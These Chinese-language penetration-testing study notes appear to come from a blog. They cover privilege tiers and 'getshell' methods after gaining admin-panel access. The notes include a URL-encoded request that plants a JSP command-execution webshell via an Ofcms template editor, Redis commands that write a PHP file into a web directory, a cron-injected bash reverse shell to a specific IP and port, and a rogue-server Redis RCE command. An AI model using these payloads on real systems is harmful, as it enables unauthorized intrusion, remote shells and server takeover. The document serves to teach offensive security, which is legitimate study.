![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/b7ec67370ee01cadf5d324d3a4f3838a.png)
知识点梳理
#知识点:
1、前面-中期-后期对应知识关系
2、明确当前权限常见的获取方式
3、明确当前权限对应可操作事情
4、后台权限提升网站权限常规操作
#章节点:
1、Web权限提升
2、系统权限提升
3、域控权限提升
#详细点:
1、具体有哪些权限需要我们了解掌握的?
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
2、以上常见权限获取方法简要归类说明?
后台权限:SQL注入,数据库备份泄露,默认或弱口令等获取帐号密码进入
网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达Shell
数据库权限:SQL注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入
接口权限:SQL注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入
系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等
域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等
3、以上常见权限获取后能操作的具体事情?
后台权限:
常规WEB界面文章分类等操作,后台功能可操作类
网站权限:
查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。
数据库权限:
操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。
接口权限:
后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),具体可以操作的事情大家自己想想。
系统权限:如同在你自己操作自己的电脑一样
域控权限:如同在你自己操作自己的虚拟机一样
演示案例
中间件语言类-权限-ASP&NET&PHP&JSP
第三方应用类-Phpmyadmin后台Getshell操作
网站CMS源码类-Ofcms系统后台Getshell操作
Web容器中间件类-Tomcat平台后台Getshell操作
数据库服务类-Redis未授权管理终端Getshell操作
#中间件语言类-权限-ASP&NET&PHP&JSP
1、中间件语言:
JSP:Tomcat
ASP&NET:IIS
PHP:LAMP&软件
2、权限划分
Linux:
管理员UID为0:系统的管理员用户。
系统用户UID为1~999:Linux系统为了避免因某个服务程序出现漏洞而被黑客提权至整台服务器,默认服务程序会由独立的系统用户负责运行,进而有效控制被破坏范围。
普通用户UID从1000开始:是由管理员创建的用于日常工作的用户。
Windows:
用户及组:system administrator user guest等
#第三方应用类-Phpmyadmin后台Getshell操作
https://www.cnblogs.com/fzblog/p/13912387.html
低版本:直接导出后门 高版本:secure防护利用日志记录保存后门
#网站CMS源码类-Ofcms系统后台Getshell操作
利用后台已有功能点进行获取:SQL执行,文件上传,模版修改,外部引用等
1.明确功能点实现的意义是否满足网站权限的提升
2.不同的程序可以通过程序名版本进行网上公开资料利用
file_path=&dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22p0desta%22.equals(request.getParameter(%22pwd%22)))%7B%0A++++++++java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A++++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E
#Web容器中间件类-Tomcat平台后台Getshell操作
上传WAR包自动解析部署-JSP压缩ZIP后修改WAR后缀
#数据库服务类-Redis未授权管理终端Getshell操作
启动环境:/opt/redis-2.8.17# redis-server /etc/redis.conf
1.Webshell写入:
config set dir /home/wwwroot/default #设置WEB写入目录
config set dbfilename test.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
2.计划任务反弹shell
config set dir /var/spool/cron/crontabs #设置写入计划任务目录
config set dbfilename root #设置写入文件名
set xx "\n\n\n* * * * * bash -i >& /dev/tcp/47.75.212.155/3333 0>&1\n\n\n" #设置写入文件代码
save #保存执行
3.Redis RCE反弹shell
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rogue-server.py --rhost=47.94.236.117 --lhost=47.75.212.155 --exp=exp.so